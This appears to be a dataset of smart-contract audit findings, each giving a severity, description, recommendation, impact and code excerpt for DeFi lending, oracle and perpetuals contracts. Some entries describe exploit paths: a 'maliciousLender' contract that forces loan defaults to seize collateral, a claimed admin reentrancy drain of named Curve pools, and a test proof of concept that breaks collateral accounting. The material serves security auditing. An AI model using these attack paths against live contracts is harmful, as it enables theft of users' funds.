name
stringlengths
5
231
severity
stringclasses
3 values
description
stringlengths
107
68.2k
recommendation
stringlengths
12
8.75k
impact
stringlengths
3
11.2k
function
stringlengths
15
64.6k
curve admin can drain pool via reentrancy (equal to execute emergency withdraw and rug tokenmak fund by third party)
medium
A few curve liquidity is pool is well in-scope:\\n```\\nCurve Pools\\n\\nCurve stETH/ETH: 0x06325440D014e39736583c165C2963BA99fAf14E\\nCurve stETH/ETH ng: 0x21E27a5E5513D6e65C4f830167390997aA84843a\\nCurve stETH/ETH concentrated: 0x828b154032950C8ff7CF8085D841723Db2696056\\nCurve stETH/frxETH: 0x4d9f9D15101EEC665F77210cB999639f760F831E\\nCurve rETH/ETH: 0x6c38cE8984a890F5e46e6dF6117C26b3F1EcfC9C\\nCurve rETH/wstETH: 0x447Ddd4960d9fdBF6af9a790560d0AF76795CB08\\nCurve rETH/frxETH: 0xbA6c373992AD8ec1f7520E5878E5540Eb36DeBf1\\nCurve cbETH/ETH: 0x5b6C539b224014A09B3388e51CaAA8e354c959C8\\nCurve cbETH/frxETH: 0x548E063CE6F3BaC31457E4f5b4e2345286274257\\nCurve frxETH/ETH: 0xf43211935C781D5ca1a41d2041F397B8A7366C7A\\nCurve swETH/frxETH: 0xe49AdDc2D1A131c6b8145F0EBa1C946B7198e0BA\\n```\\n\\none of the pool is 0x21E27a5E5513D6e65C4f830167390997aA84843a\\nAdmin of curve pools can easily drain curve pools via reentrancy or via the `withdraw_admin_fees` function.\\n```\\n@external\\ndef withdraw_admin_fees():\\n receiver: address = Factory(self.factory).get_fee_receiver(self)\\n\\n amount: uint256 = self.admin_balances[0]\\n if amount != 0:\\n raw_call(receiver, b"", value=amount)\\n\\n amount = self.admin_balances[1]\\n if amount != 0:\\n assert ERC20(self.coins[1]).transfer(receiver, amount, default_return_value=True)\\n\\n self.admin_balances = empty(uint256[N_COINS])\\n```\\n\\nif admin of the curve can set a receiver to a malicious smart contract and reenter withdraw_admin_fees a 1000 times to drain the pool even the admin_balances is small\\nthe line of code\\n```\\nraw_call(receiver, b"", value=amount)\\n```\\n\\ntrigger the reentrancy\\nThis is a problem because as stated by the tokemak team:\\nIn case of external protocol integrations, are the risks of external contracts pausing or executing an emergency withdrawal acceptable? If not, Watsons will submit issues related to these situations that can harm your protocol's functionality.\\nPausing or emergency withdrawals are not acceptable for Tokemak.\\nAs you can see above, pausing or emergency withdrawals are not acceptable, and this is possible for cuve pools so this is a valid issue according to the protocol and according to the read me
null
curve admins can drain pool via reentrancy
```\\nCurve Pools\\n\\nCurve stETH/ETH: 0x06325440D014e39736583c165C2963BA99fAf14E\\nCurve stETH/ETH ng: 0x21E27a5E5513D6e65C4f830167390997aA84843a\\nCurve stETH/ETH concentrated: 0x828b154032950C8ff7CF8085D841723Db2696056\\nCurve stETH/frxETH: 0x4d9f9D15101EEC665F77210cB999639f760F831E\\nCurve rETH/ETH: 0x6c38cE8984a890F5e46e6dF6117C26b3F1EcfC9C\\nCurve rETH/wstETH: 0x447Ddd4960d9fdBF6af9a790560d0AF76795CB08\\nCurve rETH/frxETH: 0xbA6c373992AD8ec1f7520E5878E5540Eb36DeBf1\\nCurve cbETH/ETH: 0x5b6C539b224014A09B3388e51CaAA8e354c959C8\\nCurve cbETH/frxETH: 0x548E063CE6F3BaC31457E4f5b4e2345286274257\\nCurve frxETH/ETH: 0xf43211935C781D5ca1a41d2041F397B8A7366C7A\\nCurve swETH/frxETH: 0xe49AdDc2D1A131c6b8145F0EBa1C946B7198e0BA\\n```\\n
At claimDefaulted, the lender may not receive the token because the Unclaimed token is not processed
high
```\\nfunction claimDefaulted(uint256 loanID_) external returns (uint256, uint256, uint256) {\\n Loan memory loan = loans[loanID_];\\n delete loans[loanID_];\\n```\\n\\nLoan data is deletead in `claimDefaulted` function. `loan.unclaimed` is not checked before data deletead. So, if `claimDefaulted` is called while there are unclaimed tokens, the lender will not be able to get the unclaimed tokens.
Process unclaimed tokens before deleting loan data.\\n```\\nfunction claimDefaulted(uint256 loanID_) external returns (uint256, uint256, uint256) {\\n// Add the line below\\n claimRepaid(loanID_)\\n Loan memory loan = loans[loanID_];\\n delete loans[loanID_];\\n```\\n
Lender cannot get unclaimed token.
```\\nfunction claimDefaulted(uint256 loanID_) external returns (uint256, uint256, uint256) {\\n Loan memory loan = loans[loanID_];\\n delete loans[loanID_];\\n```\\n
isCoolerCallback can be bypassed
high
The `CoolerCallback.isCoolerCallback()` is intended to ensure that the lender implements the `CoolerCallback` abstract at line 241 when the parameter `isCallback_` is `true`.\\n```\\nfunction clearRequest(\\n uint256 reqID_,\\n bool repayDirect_,\\n bool isCallback_\\n) external returns (uint256 loanID) {\\n Request memory req = requests[reqID_];\\n\\n // If necessary, ensure lender implements the CoolerCallback abstract.\\n if (isCallback_ && !CoolerCallback(msg.sender).isCoolerCallback()) revert NotCoolerCallback();\\n\\n // Ensure loan request is active. \\n if (!req.active) revert Deactivated();\\n\\n // Clear the loan request in memory.\\n req.active = false;\\n\\n // Calculate and store loan terms.\\n uint256 interest = interestFor(req.amount, req.interest, req.duration);\\n uint256 collat = collateralFor(req.amount, req.loanToCollateral);\\n uint256 expiration = block.timestamp + req.duration;\\n loanID = loans.length;\\n loans.push(\\n Loan({\\n request: req,\\n amount: req.amount + interest,\\n unclaimed: 0,\\n collateral: collat,\\n expiry: expiration,\\n lender: msg.sender,\\n repayDirect: repayDirect_,\\n callback: isCallback_\\n })\\n );\\n\\n // Clear the loan request storage.\\n requests[reqID_].active = false;\\n\\n // Transfer debt tokens to the owner of the request.\\n debt().safeTransferFrom(msg.sender, owner(), req.amount);\\n\\n // Log the event.\\n factory().newEvent(reqID_, CoolerFactory.Events.ClearRequest, 0);\\n}\\n```\\n\\nHowever, this function doesn't provide any protection. The lender can bypass this check without implementing the `CoolerCallback` abstract by calling the `Cooler.clearRequest()` function using a contract that implements the `isCoolerCallback()` function and returns a `true` value.\\nFor example:\\n```\\ncontract maliciousLender {\\n function isCoolerCallback() pure returns(bool) {\\n return true;\\n }\\n \\n function operation(\\n address _to,\\n uint256 reqID_\\n ) public {\\n Cooler(_to).clearRequest(reqID_, true, true);\\n }\\n \\n function onDefault(uint256 loanID_, uint256 debt, uint256 collateral) public {}\\n}\\n```\\n\\nBy being the `loan.lender` with implement only `onDefault()` function, this will cause the `repayLoan()` and `rollLoan()` methods to fail due to revert at `onRepay()` and `onRoll()` function. The borrower cannot repay and the loan will be defaulted.\\nAfter the loan default, the attacker can execute `claimDefault()` to claim the collateral.\\nFurthermore, there is another method that allows lenders to bypass the `CoolerCallback.isCoolerCallback()` function which is loan ownership transfer.\\n```\\n/// @notice Approve transfer of loan ownership rights to a new address.\\n/// @param to_ address to be approved.\\n/// @param loanID_ index of loan in loans[].\\nfunction approveTransfer(address to_, uint256 loanID_) external {\\n if (msg.sender != loans[loanID_].lender) revert OnlyApproved();\\n\\n // Update transfer approvals.\\n approvals[loanID_] = to_;\\n}\\n\\n/// @notice Execute loan ownership transfer. Must be previously approved by the lender.\\n/// @param loanID_ index of loan in loans[].\\nfunction transferOwnership(uint256 loanID_) external {\\n if (msg.sender != approvals[loanID_]) revert OnlyApproved();\\n\\n // Update the load lender.\\n loans[loanID_].lender = msg.sender;\\n // Clear transfer approvals.\\n approvals[loanID_] = address(0);\\n}\\n```\\n\\nNormally, the lender who implements the `CoolerCallback` abstract may call the `Cooler.clearRequest()` with the `_isCoolerCallback` parameter set to `true` to execute logic when a loan is repaid, rolled, or defaulted.\\nBut the lender needs to change the owner of the loan, so they call the `approveTransfer()` and `transferOwnership()` functions to the contract that doesn't implement the `CoolerCallback` abstract (or implement only `onDefault()` function to force the loan default), but the `loan.callback` flag is still set to `true`.\\nThus, this breaks the business logic since the three callback functions don't need to be implemented when the `isCoolerCallback()` is set to `true` according to the dev note in the `CoolerCallback` abstract below:\\n/// @notice Allows for debt issuers to execute logic when a loan is repaid, rolled, or defaulted. /// @dev The three callback functions must be implemented if `isCoolerCallback()` is set to true.
Only allowing callbacks from the protocol-trusted address (eg., `Clearinghouse` contract).\\nDisable the transfer owner of the loan when the `loan.callback` is set to `true`.
The lender forced the Loan become default to get the collateral token, owner lost the collateral token.\\nBypass the `isCoolerCallback` validation.
```\\nfunction clearRequest(\\n uint256 reqID_,\\n bool repayDirect_,\\n bool isCallback_\\n) external returns (uint256 loanID) {\\n Request memory req = requests[reqID_];\\n\\n // If necessary, ensure lender implements the CoolerCallback abstract.\\n if (isCallback_ && !CoolerCallback(msg.sender).isCoolerCallback()) revert NotCoolerCallback();\\n\\n // Ensure loan request is active. \\n if (!req.active) revert Deactivated();\\n\\n // Clear the loan request in memory.\\n req.active = false;\\n\\n // Calculate and store loan terms.\\n uint256 interest = interestFor(req.amount, req.interest, req.duration);\\n uint256 collat = collateralFor(req.amount, req.loanToCollateral);\\n uint256 expiration = block.timestamp + req.duration;\\n loanID = loans.length;\\n loans.push(\\n Loan({\\n request: req,\\n amount: req.amount + interest,\\n unclaimed: 0,\\n collateral: collat,\\n expiry: expiration,\\n lender: msg.sender,\\n repayDirect: repayDirect_,\\n callback: isCallback_\\n })\\n );\\n\\n // Clear the loan request storage.\\n requests[reqID_].active = false;\\n\\n // Transfer debt tokens to the owner of the request.\\n debt().safeTransferFrom(msg.sender, owner(), req.amount);\\n\\n // Log the event.\\n factory().newEvent(reqID_, CoolerFactory.Events.ClearRequest, 0);\\n}\\n```\\n
`emergency_shutdown` role is not enough for emergency shutdown.
medium
Let's examine the function emergencyShutdown():\\n```\\nfunction emergencyShutdown() external onlyRole("emergency_shutdown") {\\n active = false;\\n\\n // If necessary, defund sDAI.\\n uint256 sdaiBalance = sdai.balanceOf(address(this));\\n if (sdaiBalance != 0) defund(sdai, sdaiBalance);\\n\\n // If necessary, defund DAI.\\n uint256 daiBalance = dai.balanceOf(address(this));\\n if (daiBalance != 0) defund(dai, daiBalance);\\n\\n emit Deactivated();\\n}\\n```\\n\\nThis has the modifier `onlyRole("emergency_shutdown")`. However, this also calls function `defund()`, which has the modifier `onlyRole("cooler_overseer")`\\n```\\nfunction defund(ERC20 token_, uint256 amount_) public onlyRole("cooler_overseer") {\\n```\\n\\nTherefore, the role `emergency_shutdown` will not have the ability to shutdown the protocol, unless it also has the overseer role.\\nTo get a coded PoC, make the following modifications to the test case:\\n```\\n//rolesAdmin.grantRole("cooler_overseer", overseer);\\nrolesAdmin.grantRole("emergency_shutdown", overseer);\\n```\\n\\nRun the following test command (to just run a single test test_emergencyShutdown()):\\n```\\nforge test --match-test test_emergencyShutdown\\n```\\n\\nThe test will fail with the `ROLES_RequireRole()` error.
There are two ways to mitigate this issue:\\nSeparate the logic for emergency shutdown and defunding. i.e. do not defund when emergency shutdown, but rather defund separately after shutdown.\\nMove the defunding logic to a separate internal function, so that emergency shutdown function can directly call defunding without going through a modifier.
`emergency_shutdown` role cannot emergency shutdown the protocol
```\\nfunction emergencyShutdown() external onlyRole("emergency_shutdown") {\\n active = false;\\n\\n // If necessary, defund sDAI.\\n uint256 sdaiBalance = sdai.balanceOf(address(this));\\n if (sdaiBalance != 0) defund(sdai, sdaiBalance);\\n\\n // If necessary, defund DAI.\\n uint256 daiBalance = dai.balanceOf(address(this));\\n if (daiBalance != 0) defund(dai, daiBalance);\\n\\n emit Deactivated();\\n}\\n```\\n
Lender is able to steal borrowers collateral by calling rollLoan with unfavourable terms on behalf of the borrower.
medium
Say a user has 100 collateral tokens valued at $1,500 and they wish to borrow 1,000 debt tokens valued at $1,000 they would would call: (values have simplified for ease of math)\\n```\\nrequestLoan("1,000 debt tokens", "5% interest", "10 loan tokens for each collateral", "1 year")\\n```\\n\\nIf a lender then clears the request the borrower would expect to have 1 year to payback 1,050 debt tokens to be able to receive their collateral back.\\nHowever a lender is able to call provideNewTermsForRoll with whatever terms they wish: i.e.\\n```\\nprovideNewTermsForRoll("loanID", "10000000% interest", "1000 loan tokens for each collateral" , "1 year")\\n```\\n\\nThey can then follow this up with a call to rollLoan(loanID): During the rollLoan function the interest is recalculated using:\\n```\\n function interestFor(uint256 amount_, uint256 rate_, uint256 duration_) public pure returns (uint256) {\\n uint256 interest = (rate_ * duration_) / 365 days;\\n return (amount_ * interest) / DECIMALS_INTEREST;\\n }\\n```\\n\\nAs rate_ & duration_ are controllable by the borrower when they call provideNewTermsForRoll they can input a large number that the amount returned is much larger then the value of the collateral. i.e. input a rate_ of amount * 3 and duration of 365 days so that the interestFor returns 3,000.\\nThis amount gets added to the existing loan.amount and would make it too costly to ever repay as the borrower would have to spend more then the collateral is worth to get it back. i.e. borrower now would now need to send 4,050 debt tokens to receive their $1,500 worth of collateral back instead of the expected 1050.\\nThe extra amount should result in more collateral needing to be sent however it is calculated using loan.request.loanToCollateral which is also controlled by the lender when they call provideNewTermsForRoll, allowing them to input a value that will result in newCollateralFor returning 0 and no new collateral needing to be sent.\\n```\\n function newCollateralFor(uint256 loanID_) public view returns (uint256) {\\n Loan memory loan = loans[loanID_];\\n // Accounts for all outstanding debt (borrowed amount + interest).\\n uint256 neededCollateral = collateralFor(loan.amount, loan.request.loanToCollateral); \\n // Lender can force neededCollateral to always be less than loan.collateral\\n\\n return neededCollateral > loan.collateral ? neededCollateral - loan.collateral : 0;\\n }\\n```\\n\\nAs a result a borrower who was expecting to have repay 1050 tokens to get back their collateral may now need to spend many multiples more of that and will just be forced to just forfeit their collateral to the lender.
Add a check restricting rollLoan to only be callable by the owner. i.e.:\\n```\\nfunction rollLoan(uint256 loanID_) external {\\n Loan memory loan = loans[loanID_];\\n \\n if (msg.sender != owner()) revert OnlyApproved();\\n```\\n\\nNote: unrelated but rollLoan is also missing its event should add:\\n```\\nfactory().newEvent(reqID_, CoolerFactory.Events.RollLoan, 0);\\n```\\n
Borrower will be forced to payback the loan at unfavourable terms or forfeit their collateral.
```\\nrequestLoan("1,000 debt tokens", "5% interest", "10 loan tokens for each collateral", "1 year")\\n```\\n
Stable BPT valuation is incorrect and can be exploited to cause protocol insolvency
high
StableBPTOracle.sol#L48-L53\\n```\\n uint256 minPrice = base.getPrice(tokens[0]);\\n for(uint256 i = 1; i != length; ++i) {\\n uint256 price = base.getPrice(tokens[i]);\\n minPrice = (price < minPrice) ? price : minPrice;\\n }\\n return minPrice.mulWadDown(pool.getRate());\\n```\\n\\nThe above block is used to calculate the price. Finding the min price of all assets in the pool then multiplying by the current rate of the pool. This is nearly identical to how stable curve LP is priced. Balancer pools are a bit different and this methodology is incorrect for them. Lets look at a current mainnet pool to see the problem. Take the wstETH/aETHc pool. Currently getRate() = 1.006. The lowest price is aETHc at 2,073.23. This values the LP at 2,085.66. The issue is that the LPs actual value is 1,870.67 (nearly 12% overvalued) which can be checked here.\\nOvervaluing the LP as such can cause protocol insolvency as the borrower can overborrow against the LP, leaving the protocol with bad debt.
Stable BPT oracles need to use a new pricing methodology
Protocol insolvency due to overborrowing
```\\n uint256 minPrice = base.getPrice(tokens[0]);\\n for(uint256 i = 1; i != length; ++i) {\\n uint256 price = base.getPrice(tokens[i]);\\n minPrice = (price < minPrice) ? price : minPrice;\\n }\\n return minPrice.mulWadDown(pool.getRate());\\n```\\n
CurveTricryptoOracle#getPrice contains math error that causes LP to be priced completely wrong
high
CurveTricryptoOracle.sol#L57-L62\\n```\\n (lpPrice(\\n virtualPrice,\\n base.getPrice(tokens[1]),\\n ethPrice,\\n base.getPrice(tokens[0])\\n ) * 1e18) / ethPrice;\\n```\\n\\nAfter the LP price has been calculated in USD it is mistakenly divided by the price of ETH causing the contract to return the LP price in terms of ETH rather than USD. This leads to LP that is massively undervalued causing positions which are actually heavily over collateralized to be liquidated.
Don't divide the price by the price of ETH
Healthy positions are liquidated due to incorrect LP pricing
```\\n (lpPrice(\\n virtualPrice,\\n base.getPrice(tokens[1]),\\n ethPrice,\\n base.getPrice(tokens[0])\\n ) * 1e18) / ethPrice;\\n```\\n
CVX/AURA distribution calculation is incorrect and will lead to loss of rewards at the end of each cliff
high
WAuraPools.sol#L233-L248\\n```\\n if (cliff < totalCliffs) {\\n /// e.g. (new) reduction = (500 - 100) * 2.5 + 700 = 1700;\\n /// e.g. (new) reduction = (500 - 250) * 2.5 + 700 = 1325;\\n /// e.g. (new) reduction = (500 - 400) * 2.5 + 700 = 950;\\n uint256 reduction = ((totalCliffs - cliff) * 5) / 2 + 700;\\n /// e.g. (new) amount = 1e19 * 1700 / 500 = 34e18;\\n /// e.g. (new) amount = 1e19 * 1325 / 500 = 26.5e18;\\n /// e.g. (new) amount = 1e19 * 950 / 500 = 19e17;\\n mintAmount = (mintRequestAmount * reduction) / totalCliffs;\\n\\n /// e.g. amtTillMax = 5e25 - 1e25 = 4e25\\n uint256 amtTillMax = emissionMaxSupply - emissionsMinted;\\n if (mintAmount > amtTillMax) {\\n mintAmount = amtTillMax;\\n }\\n }\\n```\\n\\nThe above code is used to calculate the amount of AURA owed to the user. This calculation is perfectly accurate if the AURA hasn't been minted yet. The problem is that each time a user withdraws, AURA is claimed for ALL vault participants. This means that the rewards will be realized for a majority of users before they themselves withdraw. Since the emissions decrease with each cliff, there will be loss of funds at the end of each cliff.\\nExample: Assume for simplicity there are only 2 cliffs. User A deposits LP to WAuraPools. After some time User B deposits as well. Before the end of the first cliff User A withdraw. This claims all tokens owed to both users A and B which is now sitting in the contract. Assume both users are owed 10 tokens. Now User B waits for the second cliff to end before withdrawing. When calculating his rewards it will give him no rewards since all cliffs have ended. The issue is that the 10 tokens they are owed is already sitting in the contract waiting to be claimed.
I would recommend a hybrid approach. When rewards are claimed upon withdrawal, the reward per token should be cached to prevent loss of tokens that have already been received by the contract. Only unminted AURA should be handled this way.
All users will lose rewards at the end of each cliff due to miscalculation
```\\n if (cliff < totalCliffs) {\\n /// e.g. (new) reduction = (500 - 100) * 2.5 + 700 = 1700;\\n /// e.g. (new) reduction = (500 - 250) * 2.5 + 700 = 1325;\\n /// e.g. (new) reduction = (500 - 400) * 2.5 + 700 = 950;\\n uint256 reduction = ((totalCliffs - cliff) * 5) / 2 + 700;\\n /// e.g. (new) amount = 1e19 * 1700 / 500 = 34e18;\\n /// e.g. (new) amount = 1e19 * 1325 / 500 = 26.5e18;\\n /// e.g. (new) amount = 1e19 * 950 / 500 = 19e17;\\n mintAmount = (mintRequestAmount * reduction) / totalCliffs;\\n\\n /// e.g. amtTillMax = 5e25 - 1e25 = 4e25\\n uint256 amtTillMax = emissionMaxSupply - emissionsMinted;\\n if (mintAmount > amtTillMax) {\\n mintAmount = amtTillMax;\\n }\\n }\\n```\\n
Invalid oracle versions can cause desync of global and local positions making protocol lose funds and being unable to pay back all users
high
In more details, if there are 2 pending positions with timestamps different by 2 oracle versions and the first of them has invalid oracle version at its timestamp, then there are 2 different position flows possible depending on the time when the position is settled (update transaction called):\\nFor earlier update the flow is: previous position (oracle v1) -> position 1 (oracle v2) -> position 2 (oracle v3)\\nFor later update position 1 is skipped completely (the fees for the position are also not taken) and the flow is: previous position (oracle v1) -> invalidated position 1 (in the other words: previous position again) (oracle v2) -> position 2 (oracle v3)\\nWhile the end result (position 2) is the same, it's possible that pending global position is updated earlier (goes the 1st path), while the local position is updated later (goes the 2nd path). For a short time (between oracle versions 2 and 3), the global position will accumulate everything (including profit and loss) using the pending position 1 long/short/maker values, but local position will accumulate everything using the previous position with different values.\\nConsider the following scenario: Oracle uses granularity = 100. Initially user B opens position maker = 2 with collateral = 100. T=99: User A opens long = 1 with collateral = 100 (pending position long=1 timestamp=100) T=100: Oracle fails to commit this version, thus it becomes invalid T=201: At this point oracle version at timestamp 200 is not yet commited, but the new positions are added with the next timestamp = 300: User A closes his long position (update(0,0,0,0)) (pending position: long=1 timestamp=100; long=0 timestamp=300) At this point, current global long position is still 0 (pending the same as user A local pending positions)\\nT=215: Oracle commits version with timestamp = 200, price = $100 T=220: User B settles (update(2,0,0,0) - keeping the same position). At this point the latest oracle version is the one at timestamp = 200, so this update triggers update of global pending positions, and current latest global position is now long = 1.0 at timestamp = 200. T=315: Oracle commits version with timestamp = 300, price = $90 after settlement of both UserA and UserB, we have the following:\\nGlobal position settlement. It accumulates position [maker = 2.0, long = 1.0] from timestamp = 200 (price=$100) to timestamp = 300 (price=$90). In particular: longPnl = 1*($90-$100) = -$10 makerPnl = -longPnl = +$10\\nUser B local position settlement. It accumulates position [maker = 2.0] from timestamp = 200 to timestamp = 300, adding makerPnl ($10) to user B collateral. So user B collateral = $110\\nUser A local position settlement. When accumulating, pending position 1 (long = 1, timestamp = 100) is invalidated to previous position (long = 0) and also fees are set to 0 by invalidation. So user A local accumulates position [long = 0] from timestamp = 0 to timestamp = 300 (next pending position), this doesn't change collateral at all (remains $100). Then the next pending position [long = 0] becomes the latest position (basically position of long=1 was completely ignored as if it has not existed).\\nResult: User A deposited $100, User B deposited $100 (total $200 deposited) after the scenario above: User A has collateral $110, User B has collateral $100 (total $210 collateral withdrawable) However, protocol only has $200 deposited. This means that the last user will be unable to withdraw the last $10 since protocol doesn't have it, leading to a user loss of funds.\\nThe scenario above is demonstrated in the test, add this to test/unit/market/Market.test.ts:\\n```\\nit('panprog global-local desync', async () => {\\n const positionMaker = parse6decimal('2.000')\\n const positionLong = parse6decimal('1.000')\\n const collateral = parse6decimal('100')\\n\\n const oracleVersion = {\\n price: parse6decimal('100'),\\n timestamp: TIMESTAMP,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n oracle.status.returns([oracleVersion, oracleVersion.timestamp + 100])\\n oracle.request.returns()\\n\\n dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, positionMaker, 0, 0, collateral, false)\\n\\n const oracleVersion2 = {\\n price: parse6decimal('100'),\\n timestamp: TIMESTAMP + 100,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion2.timestamp).returns(oracleVersion2)\\n oracle.status.returns([oracleVersion2, oracleVersion2.timestamp + 100])\\n oracle.request.returns()\\n\\n dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(user).update(user.address, 0, positionLong, 0, collateral, false)\\n\\n var info = await market.locals(userB.address);\\n console.log("collateral deposit maker: " + info.collateral);\\n var info = await market.locals(user.address);\\n console.log("collateral deposit long: " + info.collateral);\\n\\n // invalid oracle version\\n const oracleVersion3 = {\\n price: 0,\\n timestamp: TIMESTAMP + 200,\\n valid: false,\\n }\\n oracle.at.whenCalledWith(oracleVersion3.timestamp).returns(oracleVersion3)\\n\\n // next oracle version is valid\\n const oracleVersion4 = {\\n price: parse6decimal('100'),\\n timestamp: TIMESTAMP + 300,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion4.timestamp).returns(oracleVersion4)\\n\\n // still returns oracleVersion2, because nothing commited for version 3, and version 4 time has passed but not yet commited\\n oracle.status.returns([oracleVersion2, oracleVersion4.timestamp + 100])\\n oracle.request.returns()\\n\\n // reset to 0\\n await market.connect(user).update(user.address, 0, 0, 0, 0, false)\\n\\n // oracleVersion4 commited\\n oracle.status.returns([oracleVersion4, oracleVersion4.timestamp + 100])\\n oracle.request.returns()\\n\\n // settle\\n await market.connect(userB).update(userB.address, positionMaker, 0, 0, 0, false)\\n\\n const oracleVersion5 = {\\n price: parse6decimal('90'),\\n timestamp: TIMESTAMP + 400,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion5.timestamp).returns(oracleVersion5)\\n oracle.status.returns([oracleVersion5, oracleVersion5.timestamp + 100])\\n oracle.request.returns()\\n\\n // settle\\n await market.connect(userB).update(userB.address, positionMaker, 0, 0, 0, false)\\n await market.connect(user).update(user.address, 0, 0, 0, 0, false)\\n\\n var info = await market.locals(userB.address);\\n console.log("collateral maker: " + info.collateral);\\n var info = await market.locals(user.address);\\n console.log("collateral long: " + info.collateral);\\n})\\n```\\n\\nConsole output for the code:\\n```\\ncollateral deposit maker: 100000000\\ncollateral deposit long: 100000000\\ncollateral maker: 110000028\\ncollateral long: 100000000\\n```\\n\\nMaker has a bit more than $110 in the end, because he also earns funding and interest during the short time when ephemeral long position is active (but user A doesn't pay these fees).
The issue is that positions with invalid oracle versions are ignored until the first valid oracle version, however the first valid version can be different for global and local positions. One of the solutions I see is to introduce a map of position timestamp -> oracle version to settle, which will be filled by global position processing. Local position processing will follow the same path as global using this map, which should eliminate possibility of different paths for global and local positions.\\nIt might seem that the issue can only happen with exactly 1 oracle version between invalid and valid positions. However, it's also possible that some non-requested oracle versions are commited (at some random timestamps between normal oracle versions) and global position will go via the route like t100[pos0]->t125[pos1]->t144[pos1]->t200[pos2] while local one will go t100[pos0]->t200[pos2] OR it can also go straight to t300 instead of t200 etc. So the exact route can be anything, and local oracle will have to follow it, that's why I suggest a path map.\\nThere might be some other solutions possible.
Any time the oracle skips a version (invalid version), it's likely that global and local positions for different users who try to trade during this time will desync, leading to messed up accounting and loss of funds for users or protocol, potentially triggering a bank run with the last user being unable to withdraw all funds.\\nThe severity of this issue is high, because while invalid versions are normally a rare event, however in the current state of the codebase there is a bug that pyth oracle requests are done using this block timestamp instead of granulated future time (as positions do), which leads to invalid oracle versions almost for all updates (that bug is reported separately). Due to this other bug, the situation described in this issue will arise very often by itself in a normal flow of the user requests, so it's almost 100% that internal accounting for any semi-active market will be broken and total user collateral will deviate away from real deposited funds, meaning the user funds loss.\\nBut even with that other bug fixed, the invalid oracle version is a normal protocol event and even 1 such event might be enough to break internal market accounting.
```\\nit('panprog global-local desync', async () => {\\n const positionMaker = parse6decimal('2.000')\\n const positionLong = parse6decimal('1.000')\\n const collateral = parse6decimal('100')\\n\\n const oracleVersion = {\\n price: parse6decimal('100'),\\n timestamp: TIMESTAMP,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion.timestamp).returns(oracleVersion)\\n oracle.status.returns([oracleVersion, oracleVersion.timestamp + 100])\\n oracle.request.returns()\\n\\n dsu.transferFrom.whenCalledWith(userB.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(userB).update(userB.address, positionMaker, 0, 0, collateral, false)\\n\\n const oracleVersion2 = {\\n price: parse6decimal('100'),\\n timestamp: TIMESTAMP + 100,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion2.timestamp).returns(oracleVersion2)\\n oracle.status.returns([oracleVersion2, oracleVersion2.timestamp + 100])\\n oracle.request.returns()\\n\\n dsu.transferFrom.whenCalledWith(user.address, market.address, collateral.mul(1e12)).returns(true)\\n await market.connect(user).update(user.address, 0, positionLong, 0, collateral, false)\\n\\n var info = await market.locals(userB.address);\\n console.log("collateral deposit maker: " + info.collateral);\\n var info = await market.locals(user.address);\\n console.log("collateral deposit long: " + info.collateral);\\n\\n // invalid oracle version\\n const oracleVersion3 = {\\n price: 0,\\n timestamp: TIMESTAMP + 200,\\n valid: false,\\n }\\n oracle.at.whenCalledWith(oracleVersion3.timestamp).returns(oracleVersion3)\\n\\n // next oracle version is valid\\n const oracleVersion4 = {\\n price: parse6decimal('100'),\\n timestamp: TIMESTAMP + 300,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion4.timestamp).returns(oracleVersion4)\\n\\n // still returns oracleVersion2, because nothing commited for version 3, and version 4 time has passed but not yet commited\\n oracle.status.returns([oracleVersion2, oracleVersion4.timestamp + 100])\\n oracle.request.returns()\\n\\n // reset to 0\\n await market.connect(user).update(user.address, 0, 0, 0, 0, false)\\n\\n // oracleVersion4 commited\\n oracle.status.returns([oracleVersion4, oracleVersion4.timestamp + 100])\\n oracle.request.returns()\\n\\n // settle\\n await market.connect(userB).update(userB.address, positionMaker, 0, 0, 0, false)\\n\\n const oracleVersion5 = {\\n price: parse6decimal('90'),\\n timestamp: TIMESTAMP + 400,\\n valid: true,\\n }\\n oracle.at.whenCalledWith(oracleVersion5.timestamp).returns(oracleVersion5)\\n oracle.status.returns([oracleVersion5, oracleVersion5.timestamp + 100])\\n oracle.request.returns()\\n\\n // settle\\n await market.connect(userB).update(userB.address, positionMaker, 0, 0, 0, false)\\n await market.connect(user).update(user.address, 0, 0, 0, 0, false)\\n\\n var info = await market.locals(userB.address);\\n console.log("collateral maker: " + info.collateral);\\n var info = await market.locals(user.address);\\n console.log("collateral long: " + info.collateral);\\n})\\n```\\n
Protocol fee from Market.sol is locked
high
Here is `MarketFactory#fund` function:\\n```\\n function fund(IMarket market) external {\\n if (!instances(IInstance(address(market)))) revert FactoryNotInstanceError();\\n market.claimFee();\\n }\\n```\\n\\nThis is `Market#claimFee` function:\\n```\\n function claimFee() external {\\n Global memory newGlobal = _global.read();\\n\\n if (_claimFee(address(factory()), newGlobal.protocolFee)) newGlobal.protocolFee = UFixed6Lib.ZERO;\\n // rest of code\\n }\\n```\\n\\nThis is the internal `_claimFee` function:\\n```\\n function _claimFee(address receiver, UFixed6 fee) private returns (bool) {\\n if (msg.sender != receiver) return false;\\n\\n token.push(receiver, UFixed18Lib.from(fee));\\n emit FeeClaimed(receiver, fee);\\n return true;\\n }\\n```\\n\\nAs we can see, when `MarketFactory#fund` is called, Market#claimFee gets called which will send the protocolFee to msg.sender(MarketFacttory). When you check through the MarketFactory contract, there is no place where another address(such as protocol multisig, treasury or an EOA) is approved to spend MarketFactory's funds, and also, there is no function in the contract that can be used to transfer MarketFactory's funds. This causes locking of the protocol fees.
Consider adding a `withdraw` function that protocol can use to get the protocolFee out of the contract. You can have the `withdraw` function transfer the MarketFactory balance to the treasury or something.
Protocol fees cannot be withdrawn
```\\n function fund(IMarket market) external {\\n if (!instances(IInstance(address(market)))) revert FactoryNotInstanceError();\\n market.claimFee();\\n }\\n```\\n
PythOracle:if price.expo is less than 0, wrong prices will be recorded
high
